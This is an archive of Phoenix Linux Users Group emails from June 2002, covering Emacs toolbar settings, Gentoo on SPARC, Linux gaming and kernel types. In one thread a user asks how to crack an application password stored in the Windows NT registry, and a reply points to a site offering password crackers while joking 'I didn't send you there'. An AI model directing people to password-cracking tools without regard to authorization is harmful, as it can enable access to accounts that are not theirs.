spake thusly: \_ \_ -----BEGIN PGP SIGNED MESSAGE----- \_ Hash: SHA1 \_ \_ On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: \_ > Is anyone else annoyed by the new GUI menu bar that emacs now places \_ > right under the text menu bar on a stock installation of Redhat 7.3? \_ \_ Not annoyed, but I do not find it pleasing. \_ \_ > I have looked for a way to remove it, but have been unsuccessful so \_ > far. If anyone could tell me the magic incantation configuration \_ > setting that needs to be invoked, I would be very grateful. I really \_ > want that space back to display information. \_ \_ I just tried M-x tool-bar-mode and that seems to work. If you don't like \_ the scroll bar, then you could use M-x scroll-bar-mode to recover some more \_ space. YMMV, but stuff the following in your .emacs if you want permanent relief: (menu-bar-mode -1) (tool-bar-mode -1) ; 95% sure I'm not running emacs 21 locally so I don't have that config ready to dispense summary justice to tool-bar-mode, but it's something like that. \_ Any suggestions on how to change the type of scroll-bar used so that it \_ doesn't use the GTK tool set (i.e. make it look like the old one)? read the info pages on gtk/scrollbars and see. David From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 15:46:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 18 Jun 2002 08:46:36 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <15631.16983.877210.720935@magnitude.righthandgraphics.com> References: <1024243844.12004.23.camel@nabla.phx.viz> <200206171334.15485.voltage_spike@fastmail.fm> <15631.16983.877210.720935@magnitude.righthandgraphics.com> Message-ID: <1024415199.26887.0.camel@nabla.phx.viz> Thanks Logan and David! On Tue, 2002-06-18 at 07:23, David A. Sinck wrote: > > > \_ SMTP quoth Logan Kennelly on 6/17/2002 13:34 as having spake thusly: > \_ > \_ -----BEGIN PGP SIGNED MESSAGE----- > \_ Hash: SHA1 > \_ > \_ On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: > \_ > Is anyone else annoyed by the new GUI menu bar that emacs now places > \_ > right under the text menu bar on a stock installation of Redhat 7.3? > \_ > \_ Not annoyed, but I do not find it pleasing. > \_ > \_ > I have looked for a way to remove it, but have been unsuccessful so > \_ > far. If anyone could tell me the magic incantation configuration > \_ > setting that needs to be invoked, I would be very grateful. I really > \_ > want that space back to display information. > \_ > \_ I just tried M-x tool-bar-mode and that seems to work. If you don't like > \_ the scroll bar, then you could use M-x scroll-bar-mode to recover some more > \_ space. > > YMMV, but stuff the following in your .emacs if you want permanent > relief: > > (menu-bar-mode -1) > (tool-bar-mode -1) ; 95% sure > > I'm not running emacs 21 locally so I don't have that config ready to > dispense summary justice to tool-bar-mode, but it's something like that. > > \_ Any suggestions on how to change the type of scroll-bar used so that it > \_ doesn't use the GTK tool set (i.e. make it look like the old one)? > > read the info pages on gtk/scrollbars and see. > > David > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 16:38:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 09:38:56 -0700 Subject: gentoo 1.2 Message-ID: <200206180935.52647.zen2now@qwest.net> good morning plug, question for you guys familiar with gentoo. i noticed they sell a SPARC version, but i also noticed this statement: SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will allow a build from scratch for *all* systems, but also has pre-built stuff for i686+ CPUs. the Note states that the i686 will allow a build from scratch on *all* systems, does that include the Ultra Sparc II? i want to try gentoo on my Ultra 5, because i have to many stability issues with MDK 7.1 corp. server and i dont like working with Solaris 8. so gentoo sounds like a great alternative for bringing new life to an over priced desktop. slr From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 18:42:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 18 Jun 2002 11:42:58 -0700 Subject: Stammtisch Tonight Message-ID: <02061811425801.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I might be a little late, but I am planning on getting there. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ9/Misk3ywszI1FEQJxxgCdFu3O7+8D4mrTF0/VMxck2u6BxccAn23M qaREdJz7UXkJuqmczqqePvCE =y8ub -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:02:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Tue, 18 Jun 2002 14:02:24 -0700 Subject: gentoo 1.2 In-Reply-To: <200206180935.52647.zen2now@qwest.net> References: <200206180935.52647.zen2now@qwest.net> Message-ID: <20020618210224.GA27747@aries.evilmascot.com> The i686 disk has install stages 1-3 on the disk, they must be refering to the fact that if you build and compile starting from stage1 you can have a working system on any i386+ while stage3 has everything precompiled but only supports i686+. The last version I needed to install from was 1.1, which only included a i386 kernel to install from, I can't see how they'd some how muck install kernels for two diff architectures onto one cd (not to mention I doubt the el torito boodable cd standardworks on sparc machines). -Kyle On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > good morning plug, > > question for you guys familiar with gentoo. i > noticed they sell a SPARC version, but i also noticed this statement: > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from Gentoo > sales to the Gentoo Linux project! :) Note that the i686 CD will allow a > build from scratch for *all* systems, but also has pre-built stuff for i686+ > CPUs. > > the Note states that the i686 will allow a build from scratch on *all* > systems, does that include the Ultra Sparc II? i want to try gentoo on my > Ultra 5, because i have to many stability issues with MDK 7.1 corp. server > and i dont like working with Solaris 8. so gentoo sounds like a great > alternative for bringing new life to an over priced desktop. > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:24:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 18 Jun 2002 14:24:25 -0700 Subject: Does Linux do games well? Message-ID: How good is linux for games? Linux has a rep for running more efficiently on older hardware than W*. Is there a website that lists games available to linux and minimal hardware needed for them? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:36:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 18 Jun 2002 14:36:14 -0700 Subject: Does Linux do games well? Message-ID: <7D2FB294FA311F4299D03CC8D3904370716582@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw) Content-type: text/plain; charset="iso-8859-1" The Nvidia drivers for Linux are very nice. Tom's hardware has shown that they are faster than their windows counterparts. Of course Loki is down the toilet but their games still run well. Many games, like Quake 3 and the upcoming Neverwinter Nights, have a native linux code base and run very quick. Of course game performance is largely influenced by your video card and available RAM. TransGaming has DirectX implemented on Linux but games running under their DirectX implementation lose quite a bit a frame rate relative to their performance under windows. It is getting better every day however. I have played Sim City 3K and Quake 3 on my Linux box and thoroughly enjoyed the experience. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Mark Berkwitt [mailto:mberkwitt@cox.net] Sent: Tuesday, June 18, 2002 2:24 PM To: PLUG Subject: Does Linux do games well? How good is linux for games? Linux has a rep for running more efficiently on older hardware than W*. Is there a website that lists games available to linux and minimal hardware needed for them? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Does Linux do games well?

The Nvidia drivers for Linux are very nice. Tom's = hardware has shown that they are faster than their windows = counterparts. Of course Loki is down the toilet but their games still = run well. Many games, like Quake 3 and the upcoming Neverwinter Nights, = have a native linux code base and run very quick. Of course game = performance is largely influenced by your video card and available RAM. = TransGaming has DirectX implemented on Linux but games running under = their DirectX implementation lose quite a bit a frame rate relative to = their performance under windows. It is getting better every day = however. I have played Sim City 3K and Quake 3 on my Linux box and = thoroughly enjoyed the experience.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/


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How good is linux for games?

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= --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:45:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 14:45:38 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181445.38509.zen2now@qwest.net> linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:57:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 14:57:28 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181457.28864.zen2now@qwest.net> one other thing, check out transgaming's Wine-X project. they have been able to run many of the current gaming titles, but from what i have read on the benchmarking the performance is very poor compared to the Native Linux games or its Windoze counterpart. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:59:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 18 Jun 2002 14:59:26 -0700 Subject: Does Linux do games well? In-Reply-To: Message-ID: I was thinking of those old simple 2D games that were basically nonviolent. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:03:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 18 Jun 2002 15:03:45 -0700 Subject: Does Linux do games well? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DF0@azmscorp01.corp.azms> You can also check out transgaming.com. Hoping they will get Dark Age of Camelot working then I can say goodbye to wintendo for good. Larry -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Tuesday, June 18, 2002 2:46 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 18 Jun 2002 15:02:35 -0700 Subject: Does Linux do games well? Message-ID: <7D2FB294FA311F4299D03CC8D3904370716583@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw) Content-type: text/plain; charset="iso-8859-1" Sim City 3K from Loki is fun in that case. -----Original Message----- From: Mark Berkwitt [mailto:mberkwitt@cox.net] Sent: Tuesday, June 18, 2002 2:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Does Linux do games well? I was thinking of those old simple 2D games that were basically nonviolent. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Does Linux do games well?

Sim City 3K from Loki is fun in that case.

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I was thinking of those old simple 2D games that were = basically nonviolent.



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= --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:11:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Tue, 18 Jun 2002 18:11:20 -0400 Subject: Does Linux do games well? Message-ID: I love Q3! I don't know what i would do without quake3.... Original Message: ----------------- From: slr zen2now@qwest.net Date: Tue, 18 Jun 2002 14:45:38 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:18:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 15:18:29 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181518.29569.zen2now@qwest.net> oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight sims and racing sims. but i use to play with this Arcade emulator that was great, played all the old Arcade games that i enjoyed playing as a kid. i cant remember the name of it, but if you look hard enough i know you can find an arcade emulator for Linux. but linux comes with many 2D non-violent games, what titles are you wanting to run? slr On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > I was thinking of those old simple 2D games that were basically nonviolent. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:20:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 18 Jun 2002 15:20:34 -0700 (PDT) Subject: Does Linux do games well? In-Reply-To: <200206181457.28864.zen2now@qwest.net> Message-ID: Several years ago when I was completely addicted to StarCraft, I played it through Wine on Linux. It worked fine. Just make sure you have a zippy computer. ~M On Tue, 18 Jun 2002, slr wrote: > one other thing, check out transgaming's Wine-X project. they have been able > to run many of the current gaming titles, but from what i have read on the > benchmarking the performance is very poor compared to the Native Linux games > or its Windoze counterpart. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on older hardware than W*. > > Is there a website that lists games available to linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:23:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Tue, 18 Jun 2002 15:23:35 -0700 (PDT) Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF0@azmscorp01.corp.azms> Message-ID: <20020618222335.32974.qmail@web13908.mail.yahoo.com> Here is one I recently came across: http://www.linuxgaming.co.uk/ mike --- Larry Lauer wrote: > You can also check out transgaming.com. Hoping they > will get Dark Age of Camelot working then I can say > goodbye to wintendo for good. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 2:46 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > > linuxgames.com is a great link for linux games > > if you have the 3D hardware and the most recent vid. > drv. to play the newer > games, then i would say YES!!! linux is great for > playing games, Wolfenstein > plays better for me in linux than is does in > Windoze, as does Soldier of > Fortune. UT runs great as well as TO, and Q2 & Q3 > and Q3 Team Arena play > great in Linux. Actually i enjoy playing games in > Linux better than Windoze, > but there just isnt enough titles, and now with Loki > gone the future is > somewhat dim. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt > wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on > older hardware than W*. > > Is there a website that lists games available to > linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't > > post to the list quickly and you use Netscape to > write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:51:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 18 Jun 2002 15:51:11 -0700 Subject: Does Linux do games well? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> You can check out x.mame.net for an arcade emulator. There are many different kinds out there. software.linux.com has links to many other sites also. Larry -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Tuesday, June 18, 2002 3:18 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight sims and racing sims. but i use to play with this Arcade emulator that was great, played all the old Arcade games that i enjoyed playing as a kid. i cant remember the name of it, but if you look hard enough i know you can find an arcade emulator for Linux. but linux comes with many 2D non-violent games, what titles are you wanting to run? slr On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > I was thinking of those old simple 2D games that were basically nonviolent. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:55:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 18 Jun 2002 15:55:33 -0700 Subject: Ethical hacking/cracking Message-ID: <3D0FBA65.9060506@esaravana.com> Hello, Would you guys know of hacking/cracking the password key stored in Windows NT registry by an application? Application in question is 'Funk Software Proxy' and it seems to have stored the password in binary form. (The guy who ghost imaged the system left the company and now we have to connect to them.) Any help is appreciated Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:48:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 18 Jun 2002 15:48:20 -0700 (MST) Subject: Does Linux do games well? In-Reply-To: <200206181457.28864.zen2now@qwest.net> Message-ID: I can vouch for Wine-X. It's money well spent. I have Diablo II and Jedi Knight II working flawlessly under it. Those are really the only windows-based games I play - and now I don't need windows. As for linux-port games, get on eBay. You can find most of the loki titles (simcity3k, heroes3, myth2, etc) for $9 - $20. I own Quake3, Solider Of Fortune, Descent3, Heavy Metal, Myth2 and Heroes 3. All of them run great on an Athlon 800 w/GeForce256 or better in my case. Now I just need time to play them... On Tue, 18 Jun 2002, slr wrote: > one other thing, check out transgaming's Wine-X project. they have been able > to run many of the current gaming titles, but from what i have read on the > benchmarking the performance is very poor compared to the Native Linux games > or its Windoze counterpart. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:03:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 16:03:18 -0700 Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> Message-ID: <200206181603.18823.zen2now@qwest.net> yeah thats the one! i knew one of you guys would know the name. it was great, i spent many hours playing defender with xmame. the plus here was that i still had all my quarters in my pocket. hehe :~D slr On Tuesday 18 June 2002 03:51 pm, Larry Lauer wrote: > You can check out x.mame.net for an arcade emulator. There are many > different kinds out there. software.linux.com has links to many other > sites also. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 3:18 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight > sims and racing sims. but i use to play with this Arcade emulator that was > great, played all the old Arcade games that i enjoyed playing as a kid. i > cant remember the name of it, but if you look hard enough i know you can > find an arcade emulator for Linux. but linux comes with many 2D non-violent > games, what titles are you wanting to run? > > slr > > On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > > I was thinking of those old simple 2D games that were basically > > nonviolent. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:29:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 16:29:36 -0700 Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> References: <3D0FBA65.9060506@esaravana.com> Message-ID: <200206181629.36140.zen2now@qwest.net> i didnt say this! but check out http://www.blackcode.com/, they several password crackers on their site. the only thing is you will have to register to download files. remember i didnt send you there. :~D slr On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > Hello, > > Would you guys know of hacking/cracking the password key stored in > Windows NT registry by an application? Application in question is 'Funk > Software Proxy' and it seems to have stored the password in binary form. > > (The guy who ghost imaged the system left the company and now we have to > connect to them.) > > Any help is appreciated > > Sundar > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:50:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Tue, 18 Jun 2002 16:50:47 -0700 (PDT) Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' Message-ID: <20020618235047.934.qmail@web10601.mail.yahoo.com> Hello Linux Users: If I installed a Redhat 7.2 OS on my computer from a CD, but so far have not configured anything and added cards with Redhat's 'plug and play' ability, what type of Kernal do I have? Would it be monolithic or modular? I need to know this becuase I'm installing a NIC card on my system. I haven't rebuilt or compiled my kernel yet. The instructions have versions for both a monolithic and a modular kernel. My NIC card is a Netgear FA310TX PCI. Thanks in Advance ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:49:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 18 Jun 2002 16:49:29 -0700 (PDT) Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> Message-ID: <20020618234929.53740.qmail@web13405.mail.yahoo.com> --- Sundar wrote: > Hello, > > Would you guys know of hacking/cracking the > password key stored in > Windows NT registry by an application? Application > in question is 'Funk > Software Proxy' and it seems to have stored the > password in binary form. > > (The guy who ghost imaged the system left the > company and now we have to > connect to them.) > > Any help is appreciated > > Sundar Hey Sundar, You might want to have a look here if you have not already and see if there are any refrences to the key? HKEY_LOCAL_MACHINE\Software\Funk Software, Inc.\ Sorry I can't help more but I'm just checking some e-mail before class and I have to go. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:55:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 18 Jun 2002 19:55:04 -0400 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' Message-ID: Modular. Red Hat is modular as most distros are. Alan On Tue, 18 Jun 2002 16:50:47 -0700 (PDT) Alpha Zenon Sanchez wrote: Hello Linux Users: If I installed a Redhat 7.2 OS on my computer from a CD, but so far have not configured anything and added cards with Redhat's 'plug and play' ability, what type of Kernal do I have? Would it be monolithic or modular? I need to know this becuase I'm installing a NIC card on my system. I haven't rebuilt or compiled my kernel yet. The instructions have versions for both a monolithic and a modular kernel. My NIC card is a Netgear FA310TX PCI. Thanks in Advance ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to 